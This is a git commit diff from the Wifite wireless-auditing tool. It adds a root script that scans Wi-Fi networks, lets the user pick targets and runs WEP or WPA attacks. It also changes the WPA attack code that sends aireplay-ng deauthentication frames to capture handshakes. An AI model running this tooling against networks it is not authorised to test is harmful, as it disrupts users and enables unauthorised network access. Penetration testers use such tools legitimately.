Root script 'Wifite.py' brings it all together

Now displays when deauthing during WPA attack
This commit is contained in:
derv82
2015-06-01 02:55:31 -07:00
parent 2e49d88f47
commit 10c81feb9c
5 changed files with 48 additions and 5 deletions

2
.gitignore vendored
View File

@@ -1,2 +1,4 @@
*.swp *.swp
*.pyc *.pyc
py/hs/
*.bak

37
Wifite.py Normal file
View File

@@ -0,0 +1,37 @@
#!/usr/bin/python
from py.Scanner import Scanner
from py.Color import Color
from py.AttackWEP import AttackWEP
from py.AttackWPA import AttackWPA
class Wifite(object):
def __init__(self):
pass
def run(self):
s = Scanner()
targets = s.select_targets()
for t in targets:
Color.pl('{+} starting attacks against {C}%s{W} ({C}%s{W})'
% (t.bssid, t.essid))
# TODO: Check if Configuration says to attack certain encryptions.
if 'WEP' in t.encryption:
attack = AttackWEP(t)
elif 'WPA' in t.encryption:
# TODO: Check if WPS, attack WPS
attack = AttackWPA(t)
attack.run()
pass
if __name__ == '__main__':
w = Wifite()
try:
w.run()
except Exception, e:
Color.pl('\n{!} {R}Error:{O} %s{W}' % str(e))
#from traceback import format_exc
#format_exc().replace('\n', '\n ')
except KeyboardInterrupt:
Color.pl('\n{!} {O}interrupted{W}')

View File

@@ -33,6 +33,7 @@ class AttackWEP(Attack):
ivs_only=True, # Only capture IVs packets ivs_only=True, # Only capture IVs packets
output_file_prefix='wep') as airodump: output_file_prefix='wep') as airodump:
Color.clear_line()
Color.p('\r{+} {O}waiting{W} for target to appear...') Color.p('\r{+} {O}waiting{W} for target to appear...')
airodump_target = self.wait_for_target(airodump) airodump_target = self.wait_for_target(airodump)

View File

@@ -27,6 +27,7 @@ class AttackWPA(Attack):
target_bssid=self.target.bssid, target_bssid=self.target.bssid,
output_file_prefix='wpa') as airodump: output_file_prefix='wpa') as airodump:
Color.clear_line()
Color.p('\r{+} {O}waiting{W} for target to appear...') Color.p('\r{+} {O}waiting{W} for target to appear...')
airodump_target = self.wait_for_target(airodump) airodump_target = self.wait_for_target(airodump)
@@ -40,9 +41,9 @@ class AttackWPA(Attack):
deauth_proc = None deauth_proc = None
while True: while True:
time.sleep(1)
Color.clear_line() Color.clear_line()
Color.p('\r{+} waiting for {C}handshake{W}...') Color.p('\r{+} waiting for {C}handshake{W}...')
time.sleep(1)
# Find .cap file # Find .cap file
cap_files = airodump.find_files(endswith='.cap') cap_files = airodump.find_files(endswith='.cap')
@@ -75,11 +76,9 @@ class AttackWPA(Attack):
# We are N seconds since last deauth was sent, # We are N seconds since last deauth was sent,
# And the deauth process is not running. # And the deauth process is not running.
if len(clients) == 0 or client_index >= len(clients): if len(clients) == 0 or client_index >= len(clients):
# TODO: Send deauth for broadcast
deauth_proc = self.deauth(airodump_target.bssid) deauth_proc = self.deauth(airodump_target.bssid)
client_index = 0 client_index = 0
else: else:
# TODO: Send deauth for client
client = clients[client_index] client = clients[client_index]
deauth_proc = self.deauth(client.bssid) deauth_proc = self.deauth(client.bssid)
client_index += 1 client_index += 1
@@ -183,6 +182,9 @@ class AttackWPA(Attack):
Deauths 'broadcast' if no client is specified. Deauths 'broadcast' if no client is specified.
''' '''
# TODO: Print that we are deauthing and who we are deauthing! # TODO: Print that we are deauthing and who we are deauthing!
target_name = station_bssid
if target_name == None:
target_name = 'broadcast'
command = [ command = [
'aireplay-ng', 'aireplay-ng',
'--ignore-negative-one', '--ignore-negative-one',
@@ -193,6 +195,7 @@ class AttackWPA(Attack):
# Deauthing a specific client # Deauthing a specific client
command.extend(['-h', station_bssid]) command.extend(['-h', station_bssid])
command.append(Configuration.interface) command.append(Configuration.interface)
Color.p(' {C}sending deauth{W} to {C}%s{W}' % target_name)
return Process(command) return Process(command)
if __name__ == '__main__': if __name__ == '__main__':

View File

@@ -39,7 +39,7 @@ class Scanner(object):
[len(t.clients) [len(t.clients)
for t in self.targets]) for t in self.targets])
Color.p( Color.p(
"\r{+} Scanning, " + "\r{+} scanning, " +
"found {G}%d{W} target(s)," % target_count + "found {G}%d{W} target(s)," % target_count +
" {G}%d{W} clients" % client_count + " {G}%d{W} clients" % client_count +
". {O}Ctrl+C{W} when ready") ". {O}Ctrl+C{W} when ready")
@@ -102,7 +102,7 @@ class Scanner(object):
+ " or you may have issues with your wifi card") + " or you may have issues with your wifi card")
self.print_targets() self.print_targets()
input_str = '{+} Select target(s)' input_str = '{+} select target(s)'
input_str += ' ({G}1-%d{W})' % len(self.targets) input_str += ' ({G}1-%d{W})' % len(self.targets)
input_str += ' separated by commas, dashes' input_str += ' separated by commas, dashes'
input_str += ' or {G}all{W}: ' input_str += ' or {G}all{W}: '